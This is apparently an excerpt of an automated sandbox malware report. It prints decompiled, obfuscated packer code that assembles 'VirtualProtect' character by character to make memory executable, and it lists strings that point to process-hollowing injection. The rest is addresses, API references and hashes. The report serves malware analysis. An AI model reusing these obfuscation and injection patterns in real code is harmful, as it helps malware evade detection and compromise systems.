				_v1028 = 0x3bd13129;
				_v352 = 0x5ff0dd5;
				_v128 = 0x4fc1e4e3;
				_v404 = 0x31747353;
				_v668 = 0x23bf818a;
				_v456 = 0x2a57c7b0;
				_v556 = 0xef03a7b;
				_v792 = 0x2ae22cfe;
				_v1000 = 0x12c2656f;
				_v1200 = 0x4c13e413;
				_v504 = 0x7e156dcd;
				_v836 = 0x248bfbfd;
				_v304 = 0x28e17edd;
				_v676 = 0x50533070;
				_v268 = 0x70061e26;
				_v684 = 0x6c8be159;
				_v1208 = 0x4949d7bf;
				_v564 = 0x4e4ff665;
				_v704 = 0x60785b46;
				_v48 = 0x7ff2ca0c;
				_v148 = 0x27a3ff31;
				_v1236 = 0x52067d32;
				_v156 = 0x66175292;
				_v692 = 0x630a2fca;
				_v1112 = 0x44338521;
				_v572 = 0x5f887805;
				_v1008 = 0x7bd0472e;
				_v400 = 0x16126506;
				_v28 = 0x78bffa56;
				_v36 = 0x2b727c00;
				_v276 = 0x6b53afec;
				_v560 = 0x78f2f396;
				_v912 = 0x30760576;
				_v232 = 0x191e3c25;
				_v712 = 0x22b3c5e1;
				_v1036 = 0x632708b2;
				_v320 = 0x65017f11;
				_v608 = 0x682b6faf;
				_v1216 = 0x1bd23bba;
				_v412 = 0x546a0f04;
				_v1244 = 0x55363a3d;
				_v844 = 0x227a254e;
				_v1120 = 0x59fbd285;
				_v1252 = 0x7f286637;
				_v800 = 0x15a59d5a;
				_v852 = 0x3fd092b0;
				_v1272 = 0x3502da08;
				_v640 = 0x1d62073e;
				_v1280 = 0x21400457;
				_v104 = 0xc85666a;
				_v24 = 0x7de4f95b;
				_v284 = 0x612f7709;
				_v144 = 0x3b484bf7;
				_v580 = 0x64011f8b;
				_v1044 = 0x2ad6448c;
				_v588 = 0xac616b9;
				_v292 = 0x30511d1c;
				_v860 = 0x451593ab;
				_v868 = 0x44d42f3a;
				_v360 = 0x5e89b2de;
				_v596 = 0x6a3f6bcc;
				_v1052 = 0x3c3ee72f;
				_v80 = 0x7975c2ea;
				_v1064 = _v1064 - 0x16ee091;
				_v16 = _v16 + 0x12700187;
				_v16 = _v16 + 0x1bb610e6;
				_v536 = _v536 - 0x8fd9208;
				_v1072 = _v1072 + 0xbedf0a5;
				_v636 = _v636 - 0x6e809e91;
				_v976 = _v976 + 0x6e64a50e;
				_v372 = _v372 + 0x3b9ccc7b;
				_v372 = _v372 - 0x4231abf7;
				_v112 = _v112 + 0x35c49474;
				_v272 = _v272 + 0x7358ad63;
				_v636 = _v636 - 0x568014b;
				_v112 = _v112 - 0x67e9d21d;
				_v644 = _v644 - 0x66a98904;
				_v1072 = _v1072 - 0x5b2ec9eb;
				_v508 = _v508 - 0x2987f7d1;
				_v1072 = _v1072 + 0x49a708b1;
				_v976 = _v976 + 0x31afc7b9;
				_v680 = _v680 + 0x3c7541c7;
				_v636 = _v636 + 0x1e9ddbdd;
				_v1064 = _v1064 + 0x711bd0c6;
				_v112 = _v112 - 0x34c4eb94;
				_v628 = _v628 - 0x347b7918;
				_v16 = _v16 + 0x2a6b6112;
				_v508 = _v508 + 0x4e512685;
				_v508 = _v508 + 0x3a70c750;
				_v628 = _v628 + 0x74c9e0b3;
				_v872 = _v872 - 0x61ae872d;
				_v500 = _v500 - 0x4d180cbf;
				_v996 = _v996 + 0x57da2287;
				_v500 = _v500 + 0x523c7331;
				_v1080 = _v1080 - 0x6744c002;
				_v544 = _v544 - 0x25f8e47c;
				_v116 = _v116 + 0x7c40cae6;
				_v536 = _v536 + 0x1f41ad63;
				_v628 = _v628 + 0x7869392a;
				_v112 = _v112 - 0x4ff64046;
				_v644 = _v644 + 0x6e3b85ae;
				_v112 = _v112 + 0x73ff4a6a;
				_v636 = _v636 + 0x27966a09;
				_v380 = _v380 - 0x1bf36ae4;
				_v680 = _v680 + 0x22b3bec7;
				_v4 = _v4 + 0x1355a4ce;
				 *0x43e253 = 0x6c;
				M0043E24B = 0x6e;
				M0043E24C = 0x65;
				M0043E24D = 0x6c;
				M0043E24E = 0x33;
				M0043E24F = 0x32;
				 *0x43e255 = 0x74;
				 *0x44c874 = GetModuleHandleA("VirtualProtect");
				 *0x43e256 = 0;
				M0043E24F = 0x50;
				M0043E24D = 0x61;
				"VirtualProtect" = 0x60;
				"rotect" = 0x7c;
				 *0x43e251 = 0x6f;
				_v300 = 0x62156fcf;
				_v876 = 0x502efe41;
				_v808 = 0x609e2643;
				_v256 = 0x4ba8cdfd;
				_v700 = 0x31845251;
				_v884 = 0x2b30016c;
				_v892 = 0x445f247f;
				_v900 = 0x2a94b4db;
				_v1128 = 0x23db2fa5;
				_v164 = 0x1fbb849b;
				_v408 = 0x16bd29db;
				_v44 = 0x595575f2;
				_v172 = 0x6f1bb8e1;
				_v1224 = 0x269896f0;
				_v708 = 0xcccbae9;
				_v920 = 0x25a29da8;
				_v720 = 0x5f3b686c;
				_v420 = 0x7c387844;
				_v308 = 0x10fcfd77;
				_v428 = 0x4694beab;
				_v436 = 0x765743e4;
				_v616 = 0x6f99707f;
				_v908 = 0x4811a4fa;
				_v816 = 0x5f22c85a;
				_v1060 = 0x82b56de;
				_v52 = 0xbbd18c6;
				_v716 = 0x73a24d05;
				_v916 = 0x11623f48;
				_v184 = 0x4c57667f;
				_v1068 = 0x282c5746;
				_v180 = 0x30fe6ac9;
				_v724 = 0x79945b7d;
				_v208 = 0x1b1bb00b;
				_v728 = 0x5e269457;
				_v464 = 0x7403513c;
				_v1016 = 0x3ac8f01a;
				_v568 = 0x2d3321bb;
				_v1136 = 0x3ed133ce;
				_v512 = 0x5e6ad078;
				_v288 = 0x6feb39ed;
				_v928 = 0xf117ad6;
				_v316 = 0x626eda47;
				_v1144 = 0x504a79b0;
				_v824 = 0x3166893;
				_v1288 = 0x1ddbab35;
				_v416 = 0x3bed98dd;
				_v732 = 0x753bfc8;
				_v740 = 0x77c78e41;
				_v1076 = 0x68c1245b;
				_v648 = 0x751a65cd;
				_v368 = 0x6fb94ac3;
				_v924 = 0x7aea0ef8;
				_v832 = 0x222cd063;
				_v444 = 0x526eab65;
				_v452 = 0x25f4b99c;
				_v324 = 0x662707bd;
				_v120 = 0x3024670a;
				_v936 = 0x16c237fd;
				_v1296 = 0x55b890a5;
				_v932 = 0x47cbfcef;
				_v332 = 0x105dd22;
				_v576 = 0x7afbcb07;
				_v56 = 0x59cab29e;
				_v1260 = 0x6c9fa00d;
				_v1024 = 0x13e9f8c8;
				_v188 = 0x4009d632;
				_v1268 = 0x137f66ac;
				_v1084 = 0x6038b951;
				_v472 = 0x176b4475;
				_v1276 = 0x2ab32bdd;
				_v1152 = 0x515db017;
				_v604 = 0x7302b5aa;
				_v8 = 0x5bc1104d;
				_v840 = 0x48e9ae43;
				_v340 = 0x26829ca;
				_v60 = 0x5c5917a4;
				_v196 = 0x3fd49075;
				_v944 = 0xcb629d1;
				_v1032 = 0x3dd3cf7a;
				_v240 = 0x2786931;
				_v424 = 0x210e6e87;
				_v848 = 0x3917711d;
				_v748 = 0x76928844;
				_v736 = 0x2d60e8f;
				_v348 = 0x36d4c0ea;
				_v1092 = 0x49151829;
				_v520 = 0xf0e6c12;
				_v952 = 0xef0017b;
				_v1100 = 0x2af06a43;
				_v68 = 0x7374b303;
				_v1040 = 0x5bc4a701;
				_v1284 = 0x49139c63;
				_v460 = 0x74cb6ce2;
				_v40 = 0x5ded0cc0;
				_v328 = 0x5dcd5be2;
				_v1108 = 0x64031bd0;
				_v1292 = 0x2d276eb8;
				_v756 = 0x2c59c4d0;
				_v76 = 0x4f20af0e;
				_v96 = 0x365c19ac;
				_v216 = 0x7f535e31;
				_v940 = 0xdedcc97;
				_v356 = 0x7e0a7ced;
				_v1116 = 0x687fa226;
				_v612 = 0x46f40653;
				_v84 = 0x317ebda5;
				_v92 = 0x56e7500d;
				_v480 = 0x6b33b020;
				_v1300 = 0x366f6df3;
				_v1232 = 0x32beea86;
				_v1308 = 0x228d1197;
				_v1316 = 0x7693296c;
				_v744 = 0x3b04cb38;
				_v468 = 0x4c011a5c;
				_v264 = 0x244a45b6;
				_v948 = 0x48ea128;
				_v204 = 0x261e5791;
				_v1048 = 0x527c0faa;
				_v1320 = 0x164ede6a;
				_v1160 = 0xeff6b27;
				_v956 = 0x8200a32;
				_v376 = 0x24b90350;
				_v1304 = 0x32627711;
				_v312 = 0x60c84633;
				_v100 = 0x2efddde7;
				_v752 = 0x43df52f7;
				_v960 = 0xf7a1ec1;
				_v212 = 0x6d86c563;
				_v192 = 0x66efffe0;
				_v764 = 0x45a58dc6;
				_v1124 = 0x26c95977;
				_v528 = 0x5eea2f6b;
				_v620 = 0x366e5d79;
				_v664 = 0xd97024e;
				_v760 = 0x219e4665;
				_v584 = 0x5769e212;
				_v1056 = 0x7f468728;
				_v1132 = 0x34b8882e;
				_v856 = 0x37afd529;
				_v1140 = 0x60dcc09d;
				_v1148 = 0x1ca13abd;
				_v108 = 0x6d9a90fb;
				_v64 = 0x3574052d;
				_v220 = 0x1586a809;
				_v432 = 0x4efa0c39;
				_v656 = 0x5687f46f;
				_v336 = 0x618934ef;
				_v864 = 0x68873377;
				_v1312 = 0x7404d5d1;
				_v772 = 0x57a121ab;
				_v364 = 0x17aa24c0;
				_v384 = 0x25cb89cb;
				_v476 = 0x531bc81b;
				_v168 = 0x639cc778;
				_v136 = 0x205d653e;
				_v780 = 0x4e48f17c;
				_v672 = 0x5e0f6ffa;
				_v964 = 0x4393df35;
				_v484 = 0x40f13569;
				_v968 = 0x210b0adf;
				_v1156 = 0x69c97e0e;
				_v1240 = 0x7d8d0db1;
				_v1168 = 0x3c11c155;
				_v1164 = 0x775f088f;
				_v228 = 0x106c3386;
				_v624 = 0x687a8d1a;
				_v768 = 0x7f0b5f93;
				_v256 = _v256 - 0x185b168d;
				_v256 = _v256 - 0x6c912c6c;
				_v876 = _v876 - 0x17f7c305;
				_v300 = _v300 - 0x67e2e549;
				_v408 = _v408 - 0x2bf52b48;
				_v164 = _v164 - 0x16e1b59f;
				_v164 = _v164 - 0x3942d78e;
				_v900 = _v900 - 0x3c31dc6d;
				_v408 = _v408 - 0x206fcf0;
				_v256 = _v256 + 0x462a15c5;
				_v256 = _v256 - 0x7fa0dc60;
				_v700 = _v700 + 0x12aa4ad1;
				_v300 = _v300 + 0x62157c4d;
				_v256 = _v256 - 0x35591a9c;
				_v808 = _v808 - 0x75a28f2;
				_v900 = _v900 + 0x52aee917;
				_v300 = _v300 - 0x243787a8;
				_v172 = _v172 - 0x4b1a50d9;
				_v892 = _v892 - 0x62c5a066;
				_v808 = _v808 - 0x28e9e75b;
				_v172 = _v172 - 0x46cc3ebc;
				_v884 = _v884 - 0x3ca60054;
				_v408 = _v408 - 0x6714650b;
				_v1128 = _v1128 + 0x2706d440;
				_v300 = _v300 - 0x608ee916;
				_v300 = _v300 + 0x20b6a50d;
				_v708 = _v708 - 0x7f2cf566;
				_v892 = _v892 - 0x16e243ac;
				_v720 = _v720 + 0x49f4a578;
				_v164 = _v164 + 0x68176734;
				_v408 = _v408 + 0x9cdac3;
				_v884 = _v884 + 0x25ce936;
				_v308 = _v308 + 0x163a22ac;
				_v884 = _v884 + 0x422c8364;
				_v892 = _v892 - 0x1113e9f7;
				_v300 = _v300 - 0x206e8e52;
				_v420 = _v420 + 0x2024de60;
				_v256 = _v256 + 0x7fcf4ce0;
				_v1128 = _v1128 - 0x81d68bc;
				_v900 = _v900 - 0x3daee9e8;
				_v716 = _v716 + 0xcb1bb09;
				_v436 = _v436 + 0x5d058387;
				_v308 = _v308 + 0x425bb182;
				_v172 = _v172 - 0x223f49dc;
				_v52 = _v52 - 0x3a973de6;
				_v420 = _v420 + 0x588dd233;
				_v908 = _v908 - 0x46ad44c4;
				_v1068 = _v1068 + 0x18ec1f3c;
				_v180 = _v180 + 0x11b4f3a1;
				_v816 = _v816 - 0x9360dfa;
				_v44 = _v44 + 0x3bc4850;
				_v1060 = _v1060 + 0x3fc32911;
				_v816 = _v816 - 0x5c7afcf4;
				_v52 = _v52 + 0x381fff7e;
				_v436 = _v436 - 0x5397bd3;
				_v288 = _v288 + 0x23d928b;
				_v464 = _v464 - 0x285cfe64;
				_v716 = _v716 + 0x2eb3a24e;
				_v420 = _v420 + 0x4ad506d2;
				_v1068 = _v1068 - 0x280ca9b1;
				_v288 = _v288 + 0x1d7da27a;
				_v920 = _v920 + 0x39ae4f86;
				_v1128 = _v1128 + 0x3bae3684;
				_v708 = _v708 + 0x319c6713;
				_v428 = _v428 - 0x5ee7d8f4;
				_v420 = _v420 + 0x7c8a205d;
				_v1016 = _v1016 + 0x8260d2e;
				_v884 = _v884 - 0x58badc6b;
				_v408 = _v408 + 0x5c251ab0;
				_v308 = _v308 + 0x26e7f284;
				_v512 = _v512 + 0x3622c198;
				_v700 = _v700 - 0x4331064d;
				_v1144 = _v1144 + 0x196ab841;
				_v308 = _v308 - 0x6ccd4fc1;
				_v44 = _v44 - 0x50573bc2;
				_v208 = _v208 - 0x4f724783;
				_v164 = _v164 + 0x1f392d37;
				_v256 = _v256 + 0x517d7f70;
				_v616 = _v616 + 0x4ea86d2;
				_v208 = _v208 - 0x337ac75d;
				_v740 = _v740 + 0x3ac533a0;
				_v716 = _v716 + 0x576c8f92;
				_v512 = _v512 - 0x73e959b4;
				_v308 = _v308 + 0x26052a49;
				_v716 = _v716 - 0x2a7f4b76;
				_v1296 = _v1296 - 0x28fec13f;
				_v52 = _v52 + 0x1f2a008d;
				_v892 = _v892 - 0x5809c051;
				_v708 = _v708 + 0x344abe69;
				_v444 = _v444 - 0x137c90f8;
				_v920 = _v920 + 0x48728065;
				_v256 = _v256 - 0x4546c3b4;
				_v288 = _v288 - 0xb09baff;
				_v1136 = _v1136 + 0x3a0cc1d4;
				_v208 = _v208 - 0x7cc685d;
				_v1060 = _v1060 - 0x74be053a;
				_v916 = _v916 + 0x6a633f02;
				_v908 = _v908 + 0x366d47a7;
				_v316 = _v316 - 0x18e5d8af;
				_v616 = _v616 + 0x2b8fa57e;
				_v172 = _v172 + 0x20189a7f;
				_v724 = _v724 - 0x294e8bba;
				_v340 = _v340 + 0x37c66b51;
				_v932 = _v932 - 0x4cf91d4f;
				_v1224 = _v1224 - 0x2916cd44;
				_v1144 = _v1144 + 0x56ca55d4;
				_v1076 = _v1076 + 0x3375cc;
				_v464 = _v464 - 0x2a04f1a5;
				_v920 = _v920 - 0x632009c5;
				_v288 = _v288 + 0xa72f039;
				_v1224 = _v1224 - 0x78260375;
				_v824 = _v824 - 0x763098cf;
				_v740 = _v740 - 0x79bac24c;
				_v892 = _v892 + 0x70b8e7e1;
				_v920 = _v920 - 0x7d372d81;
				_v44 = _v44 - 0x51506ada;
				_v708 = _v708 + 0x3d94dea1;
				_v8 = _v8 + 0x45eea711;
				_v924 = _v924 - 0x63444b19;
				_v824 = _v824 + 0x4cdfc47b;
				_v420 = _v420 + 0x1d1a1a26;
				_v464 = _v464 + 0x6733802c;
				_v180 = _v180 - 0x6a948b57;
				_v368 = _v368 + 0x757f7fb1;
				_v464 = _v464 + 0x58b237cf;
				_v420 = _v420 + 0xf2db373;
				_v808 = _v808 - 0x6d98dcdb;
				_v512 = _v512 - 0x37f41803;
				_v916 = _v916 + 0x3d1e63ca;
				_v184 = _v184 + 0x4e27d44e;
				_v68 = _v68 + 0x6ac6d77a;
				"VirtualProtect" = "VirtualProtect" + 0xf6;
				"rotect" = "rotect" + 0xf6;
				M0043E24C = 0x75;
				M0043E24E = 0x6c;
				 *0x43e253 = 0x65;
				 *0x43e254 = 0x63;
				M0043E24B = 0x74;
				 *0x43e252 = 0x74;
				"rtualProtect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t1482 = VirtualProtect( *0x44987c,  *0x44d27c, 0x40, _t1563); // executed
				return _t1482;
			}

0x0041910f
0x00419116
0x0041911d
0x00419124
0x0041912b
0x00419132
0x00419139
0x00419140
0x0041914b
0x00419156
0x00419161
0x0041916c
0x00419177
0x00419182
0x0041918d
0x00419198
0x004191a3
0x004191ae
0x004191b9
0x004191c4
0x004191cf
0x004191da
0x004191e5
0x004191f0
0x004191fb
0x00419206
0x00419211
0x0041921c
0x00419227
0x00419232
0x0041923d
0x00419248
0x00419253
0x0041925e
0x00419269
0x00419274
0x0041927f
0x0041928a
0x00419295
0x004192a0
0x004192ab
0x004192b6
0x004192c1
0x004192cc
0x004192d7
0x004192e2
0x004192ed
0x004192f8
0x00419303
0x0041930e
0x00419319
0x00419324
0x0041932f
0x0041933a
0x00419345
0x0041934d
0x00419358
0x00419363
0x0041936e
0x00419379
0x00419384
0x0041938f
0x0041939a
0x004193a5
0x004193b0
0x004193bb
0x004193c6
0x004193d1
0x004193dc
0x004193e7
0x004193ef
0x004193fa
0x00419405
0x00419410
0x0041941b
0x00419426
0x00419431
0x0041943c
0x00419447
0x0041944f
0x0041945a
0x00419465
0x00419470
0x0041947b
0x00419486
0x00419491
0x0041949c
0x004194a7
0x004194b2
0x004194bd
0x004194c8
0x004194d3
0x004194de
0x004194e9
0x004194f4
0x004194ff
0x0041950a
0x00419515
0x00419520
0x0041952b
0x00419533
0x0041953b
0x00419546
0x0041954e
0x00419556
0x00419561
0x0041956c
0x00419577
0x00419582
0x0041958d
0x00419598
0x004195a3
0x004195ae
0x004195b9
0x004195c4
0x004195cf
0x004195da
0x004195e2
0x004195ed
0x004195f8
0x00419603
0x0041960e
0x00419619
0x00419624
0x0041962c
0x00419637
0x00419642
0x0041964d
0x00419658
0x00419660
0x0041966b
0x00419676
0x00419681
0x0041968c
0x00419697
0x004196a2
0x004196ad
0x004196b8
0x004196c3
0x004196ce
0x004196d9
0x004196e4
0x004196ef
0x004196fa
0x00419705
0x00419710
0x00419718
0x00419723
0x0041972b
0x00419736
0x00419741
0x00419749
0x00419754
0x0041975f
0x00419767
0x00419772
0x0041977a
0x00419785
0x00419790
0x0041979b
0x004197a6
0x004197b1
0x004197bc
0x004197c7
0x004197d2
0x004197dd
0x004197e8
0x004197f3
0x004197fe
0x00419809
0x00419814
0x00419845
0x00419850
0x00419894
0x0041989f
0x004198aa
0x004198db
0x004198f9
0x00419904
0x0041990f
0x0041991a
0x00419971
0x0041998f
0x0041999a
0x004199b8
0x004199c3
0x004199f4
0x004199ff
0x00419a0a
0x00419a15
0x00419a20
0x00419a2b
0x00419a49
0x00419a54
0x00419a72
0x00419a7d
0x00419a88
0x00419a93
0x00419a9e
0x00419abc
0x00419ada
0x00419ae5
0x00419af0
0x00419b0e
0x00419b19
0x00419b4a
0x00419b55
0x00419b60
0x00419b6b
0x00419b76
0x00419b94
0x00419b9f
0x00419baa
0x00419bf8
0x00419bff
0x00419c06
0x00419c0d
0x00419c14
0x00419c1b
0x00419c22
0x00419c2f
0x00419c34
0x00419c3b
0x00419c42
0x00419c49
0x00419c50
0x00419c57
0x00419c5e
0x00419c69
0x00419c74
0x00419c7f
0x00419c8a
0x00419c95
0x00419ca0
0x00419cab
0x00419cb6
0x00419cc1
0x00419ccc
0x00419cd7
0x00419ce2
0x00419ced
0x00419cf5
0x00419d00
0x00419d0b
0x00419d16
0x00419d21
0x00419d2c
0x00419d37
0x00419d42
0x00419d4d
0x00419d58
0x00419d63
0x00419d6e
0x00419d79
0x00419d84
0x00419d8f
0x00419d9a
0x00419da5
0x00419db0
0x00419dbb
0x00419dc6
0x00419dd1
0x00419ddc
0x00419de7
0x00419df2
0x00419dfd
0x00419e08
0x00419e13
0x00419e1e
0x00419e29
0x00419e34
0x00419e3f
0x00419e47
0x00419e52
0x00419e5d
0x00419e68
0x00419e73
0x00419e7e
0x00419e89
0x00419e94
0x00419e9f
0x00419eaa
0x00419eb5
0x00419ec0
0x00419ecb
0x00419ed6
0x00419ede
0x00419ee9
0x00419ef4
0x00419eff
0x00419f0a
0x00419f12
0x00419f1d
0x00419f28
0x00419f30
0x00419f3b
0x00419f46
0x00419f4e
0x00419f59
0x00419f64
0x00419f6f
0x00419f7a
0x00419f85
0x00419f90
0x00419f9b
0x00419fa6
0x00419fb1
0x00419fbc
0x00419fc7
0x00419fd2
0x00419fdd
0x00419fe8
0x00419ff3
0x00419ffe
0x0041a009
0x0041a014
0x0041a01f
0x0041a02a
0x0041a035
0x0041a03d
0x0041a048
0x0041a053
0x0041a05e
0x0041a069
0x0041a071
0x0041a07c
0x0041a087
0x0041a092
0x0041a09d
0x0041a0a8
0x0041a0b3
0x0041a0be
0x0041a0c9
0x0041a0d4
0x0041a0df
0x0041a0ea
0x0041a0f2
0x0041a0fa
0x0041a102
0x0041a10a
0x0041a115
0x0041a120
0x0041a12b
0x0041a136
0x0041a141
0x0041a14c
0x0041a154
0x0041a15f
0x0041a16a
0x0041a175
0x0041a17d
0x0041a188
0x0041a193
0x0041a19e
0x0041a1a9
0x0041a1b4
0x0041a1bf
0x0041a1ca
0x0041a1d5
0x0041a1e0
0x0041a1eb
0x0041a1f6
0x0041a201
0x0041a20c
0x0041a217
0x0041a222
0x0041a22d
0x0041a238
0x0041a243
0x0041a24e
0x0041a259
0x0041a264
0x0041a26f
0x0041a27a
0x0041a285
0x0041a290
0x0041a298
0x0041a2a3
0x0041a2ae
0x0041a2b9
0x0041a2c4
0x0041a2cf
0x0041a2da
0x0041a2e5
0x0041a2f0
0x0041a2fb
0x0041a306
0x0041a311
0x0041a31c
0x0041a324
0x0041a32f
0x0041a33a
0x0041a345
0x0041a350
0x0041a35b
0x0041a366
0x0041a371
0x0041a37c
0x0041a39a
0x0041a3a5
0x0041a3b0
0x0041a3e1
0x0041a3ec
0x0041a3f7
0x0041a415
0x0041a420
0x0041a42b
0x0041a436
0x0041a454
0x0041a45f
0x0041a46a
0x0041a495
0x0041a4a0
0x0041a4ab
0x0041a4b6
0x0041a4c1
0x0041a4cc
0x0041a4ea
0x0041a4f5
0x0041a500
0x0041a544
0x0041a54f
0x0041a55a
0x0041a565
0x0041a583
0x0041a58e
0x0041a599
0x0041a5b1
0x0041a5bc
0x0041a5c7
0x0041a5d2
0x0041a5dd
0x0041a5e8
0x0041a606
0x0041a611
0x0041a61c
0x0041a627
0x0041a632
0x0041a63d
0x0041a65b
0x0041a679
0x0041a6aa
0x0041a6b5
0x0041a6d3
0x0041a704
0x0041a70f
0x0041a71a
0x0041a725
0x0041a730
0x0041a761
0x0041a77f
0x0041a78a
0x0041a7a8
0x0041a7c6
0x0041a7d1
0x0041a7dc
0x0041a7e7
0x0041a7f2
0x0041a7fd
0x0041a808
0x0041a84c
0x0041a857
0x0041a862
0x0041a880
0x0041a89e
0x0041a8a9
0x0041a8b4
0x0041a8bf
0x0041a8ca
0x0041a8e8
0x0041a8f3
0x0041a937
0x0041a942
0x0041a94d
0x0041a958
0x0041a963
0x0041a96e
0x0041a979
0x0041a997
0x0041a9db
0x0041a9e3
0x0041a9ee
0x0041aa0c
0x0041aa17
0x0041aa22
0x0041aa4d
0x0041aa58
0x0041aa63
0x0041aa81
0x0041aa8c
0x0041aabd
0x0041aac8
0x0041aae6
0x0041aaf1
0x0041aafc
0x0041ab07
0x0041ab12
0x0041ab30
0x0041ab48
0x0041ab50
0x0041ab5b
0x0041ab66
0x0041ab71
0x0041ab7c
0x0041ab87
0x0041ab8f
0x0041ab9a
0x0041abb8
0x0041abd6
0x0041abe1
0x0041abec
0x0041ac0a
0x0041ac28
0x0041ac33
0x0041ac3e
0x0041ac49
0x0041ac54
0x0041ac5f
0x0041ac6a
0x0041ac75
0x0041ac80
0x0041ac8b
0x0041ac96
0x0041acb4
0x0041acbf
0x0041acca
0x0041acd1
0x0041ace4
0x0041acf1
0x0041acf8
0x0041acff
0x0041ad06
0x0041ad0d
0x0041ad14
0x0041ad1b
0x0041ad22
0x0041ad2e

APIs

GetModuleHandleA.KERNEL32(VirtualProtect,1C0DF3A3,7C40CAE6,711BD0C6,7FB643C2,04725625,711BD0C6,57E61415,14A24D41,23078573,08FD9208,4231ABF7,336CC1CC,65544FFF,1BB610E6,31DCA6E7), ref: 00419C29
VirtualProtect.KERNELBASE(00000040,5BC4A701,5BC4A701,?,7D372D81,3DAEE9E8,?,?,74BE053A,?,74BE053A,1F2A008D,?,?,?,?), ref: 0041AD22

Strings

*9ix, xrefs: 00419B4A
R$#, xrefs: 0041986E
qcc-, xrefs: 00419881
w/a, xrefs: 00419790
N%z", xrefs: 0041972B
H/P, xrefs: 0041A666
g$0, xrefs: 00419EC0
|~, xrefs: 0041A0A8
[(, xrefs: 0041A64D
T, xrefs: 0041A4C1
y]n6, xrefs: 0041A1E0
1s<R, xrefs: 00419ADA
>e] , xrefs: 0041A2CF
lh;_, xrefs: 00419D0B
*E[o, xrefs: 0041952B
IkL, xrefs: 004194F4
9o, xrefs: 00419E08
F[x`, xrefs: 00419637
=:6U, xrefs: 00419723
JfG, xrefs: 004192A0
/><, xrefs: 004197FE
[qFq, xrefs: 00419561
k/^, xrefs: 0041A1D5
CWv, xrefs: 00419D37
p0SP, xrefs: 00419603
(::L, xrefs: 0041950A
Ig, xrefs: 0041A37C
kOon, xrefs: 00419426
PV, xrefs: 0041A0D4
VirtualProtect, xrefs: 00419BF3
SKCo, xrefs: 00419431
FW,(, xrefs: 00419D9A
Dx8|, xrefs: 00419D16
Sst1, xrefs: 00419598

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: HandleModuleProtectVirtual
String ID: w/a$g$0$PV$(::L$*9ix$*E[o$/><$1s<R$=:6U$>e] $Dx8|$FW,($F[x`$IkL$Ig$JfG$N%z"$R$#$SKCo$Sst1$T$VirtualProtect$[qFq$[($k/^$kOon$lh;_$p0SP$qcc-$y]n6$9o$CWv$H/P$|~
API String ID: 2905821283-66855312
Opcode ID: 1ffcd49d35942dc8e509a0b8f264cec0e20ab8bbbc0c4221c31d4717b4387a2f
Instruction ID: b8291f0708a5747c165f523fc12998fa030a05aad3cf55216488f181a0bf6ee0
Opcode Fuzzy Hash: 1ffcd49d35942dc8e509a0b8f264cec0e20ab8bbbc0c4221c31d4717b4387a2f
Instruction Fuzzy Hash: E7C2D9B450D3C18BD2B58F1A85897CFFBE8BB95708F508A0CE6C95A611CB718985CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 00540630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 005406E2

Strings

WriteFile, xrefs: 005408CD, 005408D0
CreateWindowExA, xrefs: 0054123E, 00541244
VirtualFree, xrefs: 00540BB2, 00540BB8
kernel32, xrefs: 005407ED, 005407F3
user32, xrefs: 005406DB, 005406E1
WinExec, xrefs: 00540820, 00540823
NtUnmapViewOfSection, xrefs: 00541085, 0054108B
GetFileAttributesA, xrefs: 005413D7, 005413DA
ntdll.dll, xrefs: 00540FE2, 00540FE8
GetThreadContext, xrefs: 00540A4C, 00540A52
GetStartupInfoA, xrefs: 0054145B, 00541461
VirtualProtectEx, xrefs: 005414E9, 005414EF
ExitProcess, xrefs: 00541554, 0054155A
GetMessageA, xrefs: 005412F7, 005412FA
GetModuleFileNameA, xrefs: 00540EFB, 00540EFE
VirtualAllocEx, xrefs: 00540B44, 00540B4A
PostMessageA, xrefs: 005412B0, 005412B6
GetMessageExtraInfo, xrefs: 00540794, 0054079A
WaitForSingleObject, xrefs: 00540E95, 00540E9B
VirtualAlloc, xrefs: 00540AC1, 00540AC7
WriteProcessMemory, xrefs: 00540CE9, 00540CEF
CreateFileA, xrefs: 0054088B, 00540891
CloseHandle, xrefs: 00540938, 0054093E
GetCommandLineA, xrefs: 00540F82, 00540F88
RegisterClassExA, xrefs: 005411B7, 005411BD
SetThreadContext, xrefs: 00540D7A, 00540D80
NtWriteVirtualMemory, xrefs: 0054112C, 00541132
ReadProcessMemory, xrefs: 00540C4A, 00540C50
DefWindowProcA, xrefs: 00541374, 0054137A
MessageBoxA, xrefs: 005406EE, 005406F4
ResumeThread, xrefs: 00540DEF, 00540DF5
CreateProcessA, xrefs: 005409BB, 005409C1

Memory Dump Source

Source File: 00000000.00000002.660280904.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_7NAzyCWRyM.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 2ef0e5aae1d8e8b9082dca018b137d56e19fe8d8be4b1f02a889d7881b6e037f
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
